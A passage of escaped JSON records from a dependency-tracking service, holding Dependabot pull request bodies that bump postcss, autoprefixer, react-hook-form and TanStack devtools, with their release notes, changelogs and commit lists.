href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/TanStack/query/blob/main/packages/react-query-devtools/CHANGELOG.md\"\u003e@​tanstack/react-query-devtools's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e5.101.3\u003c/h2\u003e\n\u003ch3\u003ePatch Changes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eUpdated dependencies []:\n\u003cul\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/query-devtools\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003e@​tanstack/react-query\u003c/code\u003e\u003ca href=\"https://github.com/5\"\u003e\u003ccode\u003e@​5\u003c/code\u003e\u003c/a\u003e.101.3\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/181ea826cb5b5f722a774525046d8f4e105dd6bb\"\u003e\u003ccode\u003e181ea82\u003c/code\u003e\u003c/a\u003e ci: Version Packages (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query-devtools/issues/11089\"\u003e#11089\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/c47678129db66610e210534ed26af5847c82a89c\"\u003e\u003ccode\u003ec476781\u003c/code\u003e\u003c/a\u003e test({react,preact}-query-devtools): assert the forwarded 'onClose' callback ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/6a5bc45f92bc10d9470468cf8487054dc9721a2a\"\u003e\u003ccode\u003e6a5bc45\u003c/code\u003e\u003c/a\u003e test(react-query-devtools): extract shared test setup into 'beforeEach' (\u003ca href=\"https://github.com/TanStack/query/tree/HEAD/packages/react-query-devtools/issues/11026\"\u003e#11026\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/TanStack/query/commit/cb115eaf029a7a0c4e9acf7257d9306e4bc0c9fa\"\u003e\u003ccode\u003ecb115ea\u003c/code\u003e\u003c/a\u003e test(react-query-devtools/ReactQueryDevtools): add tests for forwarding optio...\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/TanStack/query/commits/@tanstack/react-query-devtools@5.101.3/packages/react-query-devtools\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `autoprefixer` from 10.5.2 to 10.5.4\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/autoprefixer/releases\"\u003eautoprefixer's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.5.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed prefixed rule duplication (by \u003ca href=\"https://github.com/xianjianlf2\"\u003e\u003ccode\u003e@​xianjianlf2\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed brackets and gradient parser (\u003ca href=\"https://github.com/alanturing881\"\u003e\u003ccode\u003e@​alanturing881\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/autoprefixer/blob/main/CHANGELOG.md\"\u003eautoprefixer's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e10.5.4\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed prefixed rule duplication (by \u003ca href=\"https://github.com/xianjianlf2\"\u003e\u003ccode\u003e@​xianjianlf2\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e10.5.3\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed brackets and gradient parser (\u003ca href=\"https://github.com/alanturing881\"\u003e\u003ccode\u003e@​alanturing881\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/4cad00f0e839f3d7bbcdcc00b7df6fc448fb28f3\"\u003e\u003ccode\u003e4cad00f\u003c/code\u003e\u003c/a\u003e Release 10.5.4 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/e62a4b1782f4ece51070feba79b0ff19f4305c68\"\u003e\u003ccode\u003ee62a4b1\u003c/code\u003e\u003c/a\u003e Update CI config\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/c8f0d0ae00f5bb28bbcc3413f70b088020007469\"\u003e\u003ccode\u003ec8f0d0a\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/cae35771dc4a4dfeda637a31dc1795ace6d9d28b\"\u003e\u003ccode\u003ecae3577\u003c/code\u003e\u003c/a\u003e Move back to latest pnpm 11\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/fd31eb33b56ab9663d298b5bf08ae4ff47f76878\"\u003e\u003ccode\u003efd31eb3\u003c/code\u003e\u003c/a\u003e Fix duplicated prefixed selectors on reformatted CSS (\u003ca href=\"https://redirect.github.com/postcss/autoprefixer/issues/1552\"\u003e#1552\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/958d390787c31c3044c1fb68ec37efc29637e26b\"\u003e\u003ccode\u003e958d390\u003c/code\u003e\u003c/a\u003e Release 10.5.3 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/21d2adb4d1fc6103c1e3cc39c991de59fdb5496e\"\u003e\u003ccode\u003e21d2adb\u003c/code\u003e\u003c/a\u003e Fix gradient parser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/f7ddae99f0ebfa3961a5c14bd9ecb7d4310601a6\"\u003e\u003ccode\u003ef7ddae9\u003c/code\u003e\u003c/a\u003e Fix bracket parser\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/10ea5e7b8511a3e07aeb8a0f50f61496bc3faf4f\"\u003e\u003ccode\u003e10ea5e7\u003c/code\u003e\u003c/a\u003e Update dependencies and remove patch\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/autoprefixer/commit/b6e8a2a4672cafafcb3bb2c72cd0027a31b1a320\"\u003e\u003ccode\u003eb6e8a2a\u003c/code\u003e\u003c/a\u003e Update Dev Container\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/postcss/autoprefixer/compare/10.5.2...10.5.4\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `postcss` from 8.5.19 to 8.5.20\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed missing space if \u003ccode\u003eAtRule#params\u003c/code\u003e is set after (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed mixing AST error on warnings (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed missing space if \u003ccode\u003eAtRule#params\u003c/code\u003e is set after (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed mixing AST error on warnings (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/c4ac725d5920916d35be44002b49b7f66f8b1dc8\"\u003e\u003ccode\u003ec4ac725\u003c/code\u003e\u003c/a\u003e Release 8.5.20 version\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/c30586d7863d0563e2f2707bd89461636e37f6f6\"\u003e\u003ccode\u003ec30586d\u003c/code\u003e\u003c/a\u003e Fix missing space when AtRule#params is set after parsing (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2113\"\u003e#2113\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/5bfc3b9e7463936fdd4898f92dd43c358bfdef62\"\u003e\u003ccode\u003e5bfc3b9\u003c/code\u003e\u003c/a\u003e Update dependencies\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/24733fdbfe9abe4a949eb0a10e53db8c87fc9277\"\u003e\u003ccode\u003e24733fd\u003c/code\u003e\u003c/a\u003e Move back to latest 11 pnpm\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/728127c427e076ae15f4b4107cae29f9e60d2db4\"\u003e\u003ccode\u003e728127c\u003c/code\u003e\u003c/a\u003e Update pnpm to check that CI is fixed\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/806fe21198e210cc85fd87d4afd0c949b04e0c1f\"\u003e\u003ccode\u003e806fe21\u003c/code\u003e\u003c/a\u003e Rebuild nodes from another PostCSS copy in Warning (\u003ca href=\"https://redirect.github.com/postcss/postcss/issues/2112\"\u003e#2112\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/337cb7ef092da6066ec845973af243ed8e378550\"\u003e\u003ccode\u003e337cb7e\u003c/code\u003e\u003c/a\u003e Improve CI security\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/postcss/postcss/commit/7a8ca2d0e5044fbde3df33e2b9730c14528270e3\"\u003e\u003ccode\u003e7a8ca2d\u003c/code\u003e\u003c/a\u003e Remove patch after updating dependency\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/postcss/postcss/compare/8.5.19...8.5.20\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `react-hook-form` from 7.81.0 to 7.82.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react-hook-form/react-hook-form/releases\"\u003ereact-hook-form's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003eVersion 7.82.0\u003c/h2\u003e\n\u003cp\u003e🚀 \u003cstrong\u003efeat:\u003c/strong\u003e add opt-in \u003ccode\u003edelayError\u003c/code\u003e option for \u003ccode\u003esetValue\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13337\"\u003e#13337\u003c/a\u003e)\u003c/p\u003e\n\u003cpre lang=\"tsx\"\u003e\u003ccode\u003esetValue(\u0026quot;firstName\u0026quot;, \u0026quot;Bill\u0026quot;, {\r\n  delayError: 500, // delay validation error updates by 500ms\r\n  shouldValidate: true\r\n});\r\n\u003c/code\u003e\u003c/pre\u003e\n\u003cp\u003e⚡ \u003cstrong\u003eperf:\u003c/strong\u003e improve \u003ccode\u003egetDirtyFields\u003c/code\u003e performance (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13590\"\u003e#13590\u003c/a\u003e)\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eImproved dirty field calculation, especially for larger forms and deeply nested values.\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e🐞 \u003cstrong\u003efix:\u003c/strong\u003e expose \u003ccode\u003eresetDefaultValues\u003c/code\u003e through form context (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13598\"\u003e#13598\u003c/a\u003e)\u003c/p\u003e\n\u003cpre lang=\"tsx\"\u003e\u003ccode\u003econst { resetDefaultValues } = useFormContext();\r\n\u003cp\u003eresetDefaultValues();\n\u003c/code\u003e\u003c/pre\u003e\u003c/p\u003e\n\u003cp\u003e🐞 \u003cstrong\u003efix:\u003c/strong\u003e \u003ccode\u003esetValue\u003c/code\u003e with \u003ccode\u003eshouldDirty\u003c/code\u003e now correctly updates dirty state when the form is disabled (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13594\"\u003e#13594\u003c/a\u003e)\n🐞 \u003cstrong\u003efix:\u003c/strong\u003e preserve \u003ccode\u003edirtyFields\u003c/code\u003e boolean values for registered array fields (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13586\"\u003e#13586\u003c/a\u003e)\n🐞 \u003cstrong\u003efix:\u003c/strong\u003e restore \u003ccode\u003eFieldArray\u003c/code\u003e component export (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13596\"\u003e#13596\u003c/a\u003e)\n🧪 \u003cstrong\u003etest:\u003c/strong\u003e migrate test suite to Playwright and improve \u003ccode\u003edelayError\u003c/code\u003e test reliability (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13589\"\u003e#13589\u003c/a\u003e)\u003c/p\u003e\n\u003cp\u003ethanks to \u003ca href=\"https://github.com/candymask0712\"\u003e\u003ccode\u003e@​candymask0712\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/wanxiankai\"\u003e\u003ccode\u003e@​wanxiankai\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/a-y-ibrahim\"\u003e\u003ccode\u003e@​a-y-ibrahim\u003c/code\u003e\u003c/a\u003e, \u003ca href=\"https://github.com/ankit1324\"\u003e\u003ccode\u003e@​ankit1324\u003c/code\u003e\u003c/a\u003e \u0026amp; \u003ca href=\"https://github.com/abnud11\"\u003e\u003ccode\u003e@​abnud11\u003c/code\u003e\u003c/a\u003e\u003c/p\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/react-hook-form/react-hook-form/blob/master/CHANGELOG.md\"\u003ereact-hook-form's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e[7.82.0] - 2026-07-18\u003c/h2\u003e\n\u003ch3\u003eAdded\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eOpt-in \u003ccode\u003edelayError\u003c/code\u003e option for \u003ccode\u003esetValue\u003c/code\u003e to delay validation error updates\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eFixed\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eExpose \u003ccode\u003eresetDefaultValues\u003c/code\u003e through form context\u003c/li\u003e\n\u003cli\u003e\u003ccode\u003esetValue\u003c/code\u003e with \u003ccode\u003eshouldDirty\u003c/code\u003e not updating dirty state correctly when the form is disabled\u003c/li\u003e\n\u003cli\u003ePreserve \u003ccode\u003edirtyFields\u003c/code\u003e boolean values for registered array fields\u003c/li\u003e\n\u003cli\u003eRestore \u003ccode\u003eFieldArray\u003c/code\u003e component export\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003ePerformance\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eImprove \u003ccode\u003egetDirtyFields\u003c/code\u003e performance, especially for larger forms and deeply nested values\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/553d2906476fc2573fb0b18c3a895f72b46f0bb9\"\u003e\u003ccode\u003e553d290\u003c/code\u003e\u003c/a\u003e 7.82.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/2791e4f6bb1ecfc2de02a0bf37d4e5a3225fb01c\"\u003e\u003ccode\u003e2791e4f\u003c/code\u003e\u003c/a\u003e 🐞 fix: prevent stale _setValid() calls from overwriting isValid/isValidating ...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/521adfcbd7e6c99e0253af574006c6e26077887b\"\u003e\u003ccode\u003e521adfc\u003c/code\u003e\u003c/a\u003e 🤦🏻‍♂️ fix: expose resetDefaultValues through form context (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13598\"\u003e#13598\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/2f7c1c5cdf57cc9185554542f8118fdbf382032a\"\u003e\u003ccode\u003e2f7c1c5\u003c/code\u003e\u003c/a\u003e 🤧 fix FieldArray component export (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13596\"\u003e#13596\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/937828856fc5bab74a61b5eba03de248c4aca20b\"\u003e\u003ccode\u003e9378288\u003c/code\u003e\u003c/a\u003e 🐞 fix \u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13592\"\u003e#13592\u003c/a\u003e setValue with shouldDirty not marking dirty state when form is d...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/65599cce839bfdf5c90017de2d1e44da98754beb\"\u003e\u003ccode\u003e65599cc\u003c/code\u003e\u003c/a\u003e 🚗 perf: improve get dirty fields (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13590\"\u003e#13590\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/142f2994a13e726cbaa3bdb8b62bc82e6cc7efcd\"\u003e\u003ccode\u003e142f299\u003c/code\u003e\u003c/a\u003e 🖲️ chore: upgrade pnpm to v11 (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13587\"\u003e#13587\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/673aae44ee2fb6f9d1c8c403d8e659a278a7194c\"\u003e\u003ccode\u003e673aae4\u003c/code\u003e\u003c/a\u003e 🤖 build(deps-dev): bump vite from 5.4.11 to 6.4.3 in /app (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13534\"\u003e#13534\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/11bd6df899a6bd157a241e6d7310af7132d9e86a\"\u003e\u003ccode\u003e11bd6df\u003c/code\u003e\u003c/a\u003e 🥗 migrate to playwright \u0026amp; fix delay error feature (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13589\"\u003e#13589\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/react-hook-form/react-hook-form/commit/95da27a959855b92b9e07ed7e80ddd0f4b0c08a9\"\u003e\u003ccode\u003e95da27a\u003c/code\u003e\u003c/a\u003e ⏳ feat: add opt-in delayError option for setValue (\u003ca href=\"https://redirect.github.com/react-hook-form/react-hook-form/issues/13337\"\u003e#13337\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/react-hook-form/react-hook-form/compare/v7.81.0...v7.82.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\n\nDependabot will resolve any conflicts with this PR as long as you don't alter it yourself. You can also trigger a rebase manually by commenting `@dependabot rebase`.\n\n[//]: # (dependabot-automerge-start)\n[//]: # (dependabot-automerge-end)\n\n---\n\n\u003cdetails\u003e\n\u003csummary\u003eDependabot commands and options\u003c/summary\u003e\n\u003cbr /\u003e\n\nYou can trigger Dependabot actions by commenting on this PR:\n- `@dependabot rebase` will rebase this PR\n- `@dependabot recreate` will recreate this PR, overwriting any edits that have been made to it\n- `@dependabot show \u003cdependency name\u003e ignore conditions` will show all of the ignore conditions of the specified dependency\n- `@dependabot ignore \u003cdependency name\u003e major version` will close this group update PR and stop Dependabot creating any more for the specific dependency's major version (unless you unignore this specific dependency's major version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e minor version` will close this group update PR and stop Dependabot creating any more for the specific dependency's minor version (unless you unignore this specific dependency's minor version or upgrade to it yourself)\n- `@dependabot ignore \u003cdependency name\u003e` will close this group update PR and stop Dependabot creating any more for the specific dependency (unless you unignore this specific dependency or upgrade to it yourself)\n- `@dependabot unignore \u003cdependency name\u003e` will remove all of the ignore conditions of the specified dependency\n- `@dependabot unignore \u003cdependency name\u003e \u003cignore condition\u003e` will remove the ignore condition of the specified dependency and ignore conditions\n\n\n\u003c/details\u003e","html_url":"https://github.com/Elmun-Technologies/nishon-ai/pull/159","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/Elmun-Technologies%2Fnishon-ai/issues/159","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/159/packages"}},{"old_version":"8.5.14","new_version":"8.5.20","update_type":"patch","path":"/app/web","pr_created_at":"2026-07-20T20:25:51.000Z","version_change":"8.5.14 → 8.5.20","issue":{"uuid":"4932790420","node_id":"PR_kwDOTThwCs70CqCS","number":21,"state":"open","title":"chore(deps-dev): bump postcss from 8.5.14 to 8.5.20 in /app/web","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":1,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2026-07-20T20:25:51.000Z","updated_at":"2026-07-20T20:25:52.000Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps-dev)","packages":[{"name":"postcss","old_version":"8.5.14","new_version":"8.5.20","repository_url":"https://github.com/postcss/postcss"}],"path":"/app/web","ecosystem":"npm"},"body":"Bumps [postcss](https://github.com/postcss/postcss) from 8.5.14 to 8.5.20.\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/releases\"\u003epostcss's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed missing space if \u003ccode\u003eAtRule#params\u003c/code\u003e is set after (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed mixing AST error on warnings (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.18\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eRestricted loading previous source maps file to the \u003ccode\u003eopts.from\u003c/code\u003e folder for security reasons (use \u003ccode\u003eunsafeMap: true\u003c/code\u003e to disable the check).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.17\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eMaximum call stack size exceeded\u003c/code\u003e error.\u003c/li\u003e\n\u003cli\u003eFixed Prototype hijacking for \u003ccode\u003epostcss.fromJSON()\u003c/code\u003e.\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e for unmapped end position (by \u003ca href=\"https://github.com/chatman-media\"\u003e\u003ccode\u003e@​chatman-media\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.16\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed \u003ccode\u003eInput#origin()\u003c/code\u003e position (by \u003ca href=\"https://github.com/mizdra\"\u003e\u003ccode\u003e@​mizdra\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003eraws\u003c/code\u003e after rehydrating a JSON AST (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed putting parent-less node in \u003ccode\u003enodes\u003c/code\u003e of new node (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed computing \u003ccode\u003eoffset\u003c/code\u003e in \u003ccode\u003epositionBy()\u003c/code\u003e (by \u003ca href=\"https://github.com/greymoth-jp\"\u003e\u003ccode\u003e@​greymoth-jp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed \u003ccode\u003erangeBy()\u003c/code\u003e on \u003ccode\u003eindex: 0\u003c/code\u003e (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.15\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed declaration parsing performance (by \u003ca href=\"https://github.com/homanp\"\u003e\u003ccode\u003e@​homanp\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/postcss/postcss/blob/main/CHANGELOG.md\"\u003epostcss's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e8.5.20\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed missing space if \u003ccode\u003eAtRule#params\u003c/code\u003e is set after (by \u003ca href=\"https://github.com/sarathfrancis90\"\u003e\u003ccode\u003e@​sarathfrancis90\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003cli\u003eFixed mixing AST error on warnings (by \u003ca href=\"https://github.com/MahinAnowar\"\u003e\u003ccode\u003e@​MahinAnowar\u003c/code\u003e\u003c/a\u003e).\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e8.5.19\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eFixed cleaning \u003ccode\u003ebefore\u003c/code\u003e for new nodes inserted to \u003ccode\u003eRoot\u003c/code\u003e (by \u003ca 